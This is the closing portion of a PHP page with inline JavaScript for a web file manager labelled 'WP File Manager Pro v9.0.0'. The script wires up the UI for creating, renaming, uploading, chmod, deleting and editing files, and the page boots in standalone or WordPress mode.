    $('#editor-save').addEventListener('click', saveEditor);
    $('#rename-confirm').addEventListener('click', confirmRename);
    $('#rename-input').addEventListener('keypress', function(e){ if (e.key === 'Enter') confirmRename(); });
    $('#chmod-confirm').addEventListener('click', confirmChmod);

    $('#newfolder-confirm').addEventListener('click', function(){
        var name = $('#newfolder-input').value.trim();
        if (!name) return;
        showLoading('Creating...');
        api('create', { path: CFG.currentPath, name: name, type: 'folder' }, function(res){
            hideLoading();
            if (res && res.success) { closeModal('newfolder-modal'); toast(res.data.message || 'Created', 'success'); navigateTo(CFG.currentPath); }
            else toast((res && res.data && res.data.message) || 'Failed', 'error');
        });
    });
    $('#newfolder-input').addEventListener('keypress', function(e){ if (e.key === 'Enter') $('#newfolder-confirm').click(); });

    $('#newfile-confirm').addEventListener('click', function(){
        var name = $('#newfile-input').value.trim();
        if (!name) return;
        showLoading('Creating...');
        api('create', { path: CFG.currentPath, name: name, type: 'file' }, function(res){
            hideLoading();
            if (res && res.success) { closeModal('newfile-modal'); toast(res.data.message || 'Created', 'success'); navigateTo(CFG.currentPath); }
            else toast((res && res.data && res.data.message) || 'Failed', 'error');
        });
    });
    $('#newfile-input').addEventListener('keypress', function(e){ if (e.key === 'Enter') $('#newfile-confirm').click(); });

    $('#upload-browse').addEventListener('click', function(e){ e.stopPropagation(); $('#upload-input').click(); });
    $('#upload-input').addEventListener('change', function(){ addFiles(this.files); this.value = ''; });
    var ua = $('#upload-area');
    ua.addEventListener('click', function(e){ if (e.target.tagName !== 'BUTTON') $('#upload-input').click(); });
    ['dragenter','dragover'].forEach(function(ev){ ua.addEventListener(ev, function(e){ e.preventDefault(); ua.classList.add('drag'); }); });
    ['dragleave','drop'].forEach(function(ev){ ua.addEventListener(ev, function(e){ e.preventDefault(); ua.classList.remove('drag'); }); });
    ua.addEventListener('drop', function(e){ if (e.dataTransfer.files.length) addFiles(e.dataTransfer.files); });
    $('#upload-confirm').addEventListener('click', function(){
        if (CFG.uploadQueue.length === 0) { toast('No files', 'warning'); return; }
        uploadNext();
    });

    $$('[data-close]').forEach(function(b){ b.addEventListener('click', function(){ closeModal(b.dataset.close); }); });
    $$('.modal').forEach(function(m){ m.addEventListener('click', function(e){ if (e.target === m) m.classList.remove('on'); }); });

    document.addEventListener('keydown', function(e){
        if (e.target.matches('input, textarea')) return;
        if (e.key === 'Escape') $$('.modal.on').forEach(function(m){ m.classList.remove('on'); });
        if (e.ctrlKey && e.key === 'a') {
            e.preventDefault();
            $$('.item-check', $('#list-body')).forEach(function(cb){ cb.checked = true; var r = cb.closest('.fr'); if (r) r.classList.add('sel'); });
            updateSelectionBar();
        }
        if (e.key === 'Delete') { var s = getSelectedPaths(); if (s.length) confirmDelete(s); }
        if (e.ctrlKey && e.key === 's' && $('#editor-modal').classList.contains('on')) { e.preventDefault(); saveEditor(); }
    });
}

document.addEventListener('DOMContentLoaded', function(){
    bindUI();
    bindRowEvents();
    updateSelectionBar();
    console.log('WP File Manager Pro v9.0.0 [' + (CFG.isStandalone ? 'standalone' : 'wordpress') + ']');
});

})();
</script>
</body>
</html>
<?php
}

// ============================================
// STANDALONE BOOT
// ============================================
if (defined('WPFM_STANDALONE')) {
    wpfm_render_page();
}